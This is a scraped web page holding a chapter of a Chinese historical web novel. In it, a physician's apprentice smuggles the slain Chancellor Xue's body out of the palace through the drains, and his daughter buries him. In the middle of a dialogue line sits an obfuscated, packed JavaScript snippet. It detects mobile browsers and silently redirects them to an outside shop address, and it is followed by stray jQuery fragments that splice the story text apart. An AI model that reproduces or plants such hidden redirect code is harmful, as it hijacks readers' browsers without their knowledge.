默认冷灰
24号文字
方正启体

3. 为父殓骨

作者:执荧本书字数:K更新时间:
    就在薛盈商沉浸悲痛之际,砰地一声,门被暴力撞开,一队禁军手里拿着逮捕文书,在医馆转了一圈,对着她的样子看了片刻,扬手,“下一处。”


    薛盈商吐出一口气,摸了摸脸。


    感谢红绫这手易容术。


    当初她托关系让一位已经荣养的老太医做了曲红绫的师父,只想着她天赋好,以后也许能进宫做个医女,也算了了她爷爷遗愿。


    可曲红绫却不走寻常路,不仅医术学得出色,其他杂学也一点就通。


    只是她没想到,当初的一点善心,会在此时得到回报。


    另一边,曲红绫得了薛盈商的吩咐,去给樊楼的掌柜送了一封信,叮嘱他,一定要在日入之前,把信交到天字二号房的寸先生手中。


    送完信,她又转道去了沟沿,那里有个更为人熟知的名字,贱民窑。


    她熟门熟路地绕过坑洼的地面和满是杂物的过道,仿佛没看见挂在檐下被当做食物风干的死老鼠,抬手敲门。


    等里面的人应了,她才推门而入,开门见山道,“曹叔,有点事请您帮个忙。”


    灶台后,一个身形佝偻的男人缓缓抬头,看起来明明年纪不大,却仿佛已经行将就木,他辩了下人才开口,“是曲丫头啊,又是来替谁诊病?”


    曲红绫摇头,“是拜托您点事,我想进去里面一趟,麻烦您带一带。”


    曹叔放下锅铲,“曲丫头,按理说,你对我们有恩,我不该拒绝,但宫里最近人心惶惶,若被查出来我带外人进去,不仅我一人,整个贱民窑的人都会遭殃,我等命微人贱,上面打个哆嗦都能让我们万劫不复。”


    曲红绫已料到他会拒绝,不紧不慢道,“我理解,我可以保证,不会牵连沟沿。”


    曹叔依旧迟疑。


    曲红绫见不得他如此婆婆妈妈,刚才客气,是得了薛盈商的叮嘱,她一巴掌拍在黑黢黢的桌上,幽幽开口,“曹叔,这些年,我免费给大家诊病抓药,没求过你们什么吧?”


    “三年前疟疾爆发,上面任你们自生自灭,是我赌上了医馆所有积蓄才让你们得以存活。”


    实际上是薛盈商自掏腰包,动用私库才解决了沟沿危机,只是薛盈商交代过,不得暴露她的身份,她只能把这些恩情揽到自己身上。


    现在恩人有难,这些人却想袖手旁观?也得看看她答不答应。


    曹叔无奈,“好,同意,我同意。”


    他主要是怕曲红绫以后不再给他们诊病,去外面的医馆看一次要花很多钱,像他们这种世代活在阴沟里的人,根本看不起。


    他拿出一块木牌递过去,“这是内务府营造司的沟签,正巧前段时间发了场大水,暗渠堵塞,上面特例开沟疏浚,你拿着它就能进去。”


    他叮嘱道,“我们一般亥时初上工,寅时末必须折回,不得上到地面,以免吓到贵人。”


    曲红绫看了眼木牌,上面除了“内务府营造司”的字样,还有起止日期,以及编号。


    她不动声色地收了起来。


    子时末,医馆内一片黑暗,薛盈商立在窗前,宛若一尊没有生气的雕像。


    昨晚还是风雨交加,今夜却月色明明,晦暗与污浊都埋葬在黑夜之中,百姓依旧如常,甚至很少有人知道大胤死了一个丞相。


    薛盈商盯着观星塔的方向,眼底的焦灼一点点上浮。


    而此时,观星塔下,拉着秽车的净婆颤颤巍巍走过,没人看见,那净婆腰间的药粉撒了一路,待她离尸体几步远时,一粒褐色药丸悄无声息地被她弹到了尸体身上。


    隐藏的禁军出来驱赶,“快走,别在此处逗留。”


    净婆哎了两声,步履蹒跚地离开。


    不过片刻,四周传来窸窸窣窣的声响,隐藏在周围的禁军有人觉得身上发痒,一个开头,两个、三个……像是传染一样,不一会儿,所有人都开始抓耳挠腮。


    此时,有人大叫一声,“蛇,有蛇!”


    隐藏的人再也藏不住,从树上、假山后跳出来,而那些蛇却像受到指引般,成群结队往这边汇聚。


    “皇庭大内,为何会有这么多蛇?”


    有人朝塔下看去,结结巴巴道,“它们……它们是冲着薛相尸体去的。”


    “何事喧哗?”一道低沉的声音在众人耳边炸响,吸引了所有人的注意力。


    秦希声一身雪色襕衫,眉眼淡得如同天上月华,他看了眼被虫蚁淹没的尸首,不动声色地收回视线,“你们擅离职守,该当何罪?”


    众人齐齐低头,不敢吭声,要知道就算他们老大文之行遇上这位秦司主也讨不了好,何况他们?


    秦希声扫了眼不远处,厉声问道,“尸体呢?尸体哪儿去了?”


    众人猛地回头,原本躺着薛回尸体的地方只剩下一群蛇蚁,有人结结巴巴开口,“吃……薛相的尸身被吃了。”


    秦希声看了开口的人一眼,“观星塔镇我大胤国运,为何会有这么多不干净的东西?”


    那人继续道,“许是薛相罪恶滔天,连老天都看不下去,要让他尸骨无存。”


    说着他抱拳行礼,“秦司主可得为我们做证啊,不是我们玩忽职守,实在是这事太诡异了。”


    “对,薛相立身失道,招至天罚,与我等无关啊。”


    而此时,曲红绫正藏在不远处的暗渠口,心如擂鼓,她身上还穿着净婆的衣物,发丝间散发着难闻的馊臭味儿。


    她看了眼一旁的布袋,咬了咬牙,起身,准备扛起袋子往回走。


    属于她的任务已经完成,她本可以不用管这具碎尸,可一想到他是阿英的父亲,是那个人人称赞的薛相,她就做不到把他扔在这淤泥臭沟里。


    然而刚走两步,一道人影从拐角处走了出来,“给我吧。”


    曲红绫瞪大了双眼,“阿牛?”


    这不是曹叔那个养子吗?


    阿牛二十出头,长得人高马大,但性子老实木讷,一张脸白得毫无血色,就连说话也是一板一眼,“我爹说,让我来帮你。”


    曲红绫怀疑,“不是阿英让你来的?”


    阿牛轻轻松松扛起袋子,不说话了,曲红绫无趣,撇撇嘴,跟上他,看着他将尸体袋子混在一堆从暗渠清出来的秽物中,面不改色地推着车离开。


    到了出口,值守的官差例行检查了一下,看了眼他们手上的沟签,挥手放行。


    很快,曲红绫发现,阿牛并未将秽物运去填埋处,而是到了一口枯井旁,他扛起尸体袋子,跳入枯井中。


    曲红绫:“……”


    好歹也等等她啊。


    跟着阿牛七弯八拐,不知走了多久,终于在他停脚时狠狠松了口气,没办法,密道又小又窄,快把她憋死了。


    出口依旧是枯井,天已大亮,入眼是陌生的环境,但人却是熟悉的人。


    曲红绫跳出井口,冲到薛盈商面前,“阿英!”


    薛盈商摘掉她头上的一根杂草,“辛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010936|194124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    苦了,平安就好。”


    曲红绫满脸兴奋,“昨晚真的是太刺激了,我竟然进了一趟皇宫,还在禁军的眼皮底下偷走了尸体……”


    说着,她的声音戛然而止,小心翼翼地看向薛盈商,“阿英,对不起。”


    她太忘乎所以了。


    薛盈商没怪她,而是走向地面那团已经不成形的麻布袋子,她跪在冰冷的石板上,抖着手去解袋口。


    父亲惨白的脸闯入眼中,头骨碎裂,眼窝渗血,薛盈商躬着身,痛得无法呼吸,眼泪流了满脸,声音却像是被什么堵住,怎么也哭不出来。


    “对不起,是女儿不孝……”


    让您死后还要背负上“天罚”之名,可不这样做,她带不出她父亲的遗体。


    薛盈商伏首在地,声音沙哑哽咽。


    曲红绫站在一旁,张了张嘴,却不知道该怎么安慰。


    她爷爷走的时候,她还小,薛盈商给她安排了很多事占据她的心神,让她渐渐忽略了悲伤。


    可现在,看着她痛苦,她却安慰不了。


    “薛盈商,让薛相入土为安吧。”秦希声从廊后转出,手里是亘古不变的兰花蝶纹锦帕。


    一直把自己当木头人的阿牛见他出现,躬身行礼,“司主。”


    秦希声扔了块皇城司司使的令牌给他,“从今日起,你就是我皇城司一员,拿着令牌去报道吧。”


    曲红绫惊得眼睛都瞪圆了,指了指阿牛,又指了指秦希声,蹭到薛盈商身边,带着哭腔道,“阿英,我……我腿软。”


    皇城司的人哎,据说得罪了他们,连狗都不放过。


    只是她没想到,在她眼里毫无特色的阿牛竟然是皇城司发展的下线。


    皇城司选人标准还挺特别,竟然会从沟沿这种地方挑人。


    薛盈商起身,安抚性地拍了拍她的手,朝秦希声行礼,“多谢东主助我带出父亲遗体。”


    秦希声看着她,“不必谢我,昨晚的局,你才是统筹者。”


    即便是他,也不过是按她的计划行事。


    要是没人提前打开暗渠通往观星塔水道的门,没人引蛇虫制造混乱,计划根本不可能成功。


    而现在,所有在场的禁军包括他,都是薛相葬身蛇腹的证人。


    薛盈商没说话,一点一点整理着她父亲的遗容。


    想要从禁军眼皮子底下带走她父亲,的确难如登天。


    她只是想起几日前,她父亲向她抱怨,说皇城的暗渠几年不疏浚,一发大水就完全废了,现在修缮得花不少钱。


    本来她父亲是不该知道这事的,但度支司的陆相公日日找他哭穷,搞得他不想知道都难。


    想起平日里绞尽脑汁充盈国库的父亲,薛盈商心口又是一痛。


    那么好的人,最后却背着祸国奸佞的罪名死去,而她这个女儿最后还给他添了一道‘立身失道,终罹天罚’的污名。


    最后,薛盈商寻了处山清水秀的地,用身上所有首饰托秦希声买了口薄棺,全了她父亲最后的体面。


    她跪在坟前,端端正正磕了三个头,起身,看着空无一字新碑,“原谅女儿不能为您服孝。”


    不远处河流从山谷蜿蜒而出,溪水潺潺,碧水映着蓝天,是她父亲喜欢的景色。


    她转身,朝着路边等待的人走去,每走一步,身上属于闺阁女子的温婉就消失一分,她看向那个今后她要效力的人,“秦司主,或者说……寸先生,咱们聊聊吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)